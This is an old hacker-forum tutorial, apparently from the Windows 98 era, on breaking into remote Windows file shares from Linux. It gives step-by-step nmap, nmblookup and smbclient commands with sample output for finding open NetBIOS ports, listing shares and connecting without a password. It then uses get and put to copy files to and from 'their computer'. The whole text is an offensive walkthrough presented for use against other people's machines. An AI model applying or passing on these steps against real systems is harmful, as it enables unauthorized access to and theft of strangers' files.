    net bios hacking with linux

    netbios hacking with samba

    hope you enjoyed my last tut on netbios hacking from windows now i thought linux users will be winging cause they cant be elite_ha><oars as well so here it is netbios hacking for linux

    the first step is to get samba an open source windows file sharing thing its avalible for download at

    http://www.samba.org install it read the docs etc etc

    now as in windows you need to make sure the computer has netbios running so we use nmap im sure most of you have and know how to use nmap but just in case get it and read the docs at

    [rioter@7337 rioter]$ nmap xxx.xxx.xxx.xxx
    Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
    Interesting ports on  (
    (The 1541 ports scanned but not shown below are in state: closed)
    Port       State       Service
    139/tcp    open        netbios-ssn             
    Nmap run completed -- 1 IP address (1 host up) scanned in 6 seconds
    thats the reults of my win98 box as you can see netbios is wide open now we need to check what computers on the networks we can connect to
    so we use
    nmblookup -A ipaddress

    [rioter@7337 rioter]$ nmblookup -A xxx.xxx.xxx.xxx
    Looking up status of
    	computername    <00> -         B <ACTIVE> 
    	workgroup       <00> - <GROUP> B <ACTIVE> 
    	computername    <03> -         B <ACTIVE> 
    	computername    <20> -         B <ACTIVE> 
    	workgroup       <1e> - <GROUP> B <ACTIVE> 
    	userloged in    <03> -         B <ACTIVE>
    <20> is the fileserver and its active <03> is the user who is logged in at the time and you can sometimes connect to those computers

    now to check what drives the computer your interested in has on it we use smbclient -Lcomputername -I ipaddress
    it will ask for a password if its a non win 2k machine or it passsword protected you should just be able to hit enter and should let you through like it did on my computer

    [rioter@7337 rioter]$ smbclient -Lcomputername
    added interface ip=xxxxxxxx bcast= nmask=
    added interface ip= bcast= nmask=
    added interface ip= bcast= nmask=
    Got a positive name query response from xxxxxxx ( xxxxxxxx )
    	Sharename      Type      Comment
    	---------      ----      -------
    	I              Disk      
    	J              Disk      
    	G              Disk      
    	H              Disk      
    	F              Disk      
    	D              Disk      
    	E              Disk      
    	C              Disk      
            EPSON          Printer
    	IPC$           IPC       Remote Inter Process Communication
    	Server               Comment
    	---------            -------
    	xxxxxxx              xxxx
    	Workgroup            Master
    	---------            -------
    	xxx                xxxxxxxxx
    ok now your ready to connect to your computer we use smbclient again

    smbclient //computername/driveletter -I ipaddress -N

    [jared@7337 jared]$ smbclient //xxxxxxx/C -I xxxxxxxx -N
    added interface ip=xxxxxxxx bcast= nmask=
    added interface ip= bcast= nmask=
    added interface ip= bcast= nmask=
    smb: \>
    if your screen now looks like that you can browse their computer use normal dos commands ie dir etc etc

    and also some ftp commands work but the ones you will probably use the most are get and put so get filname.exe will d/l the file for you to the current dir you are in
    to exit just type exit
    thats it easy aint it

    to get other commands avalible to you on the programs we used just do a man program name


    well i have to thank negative for the formatting on the last one but also being a bitch today

    and this isnt a desperate bid to get antipoints as jp said we take take take take
    so i thought i would give give give
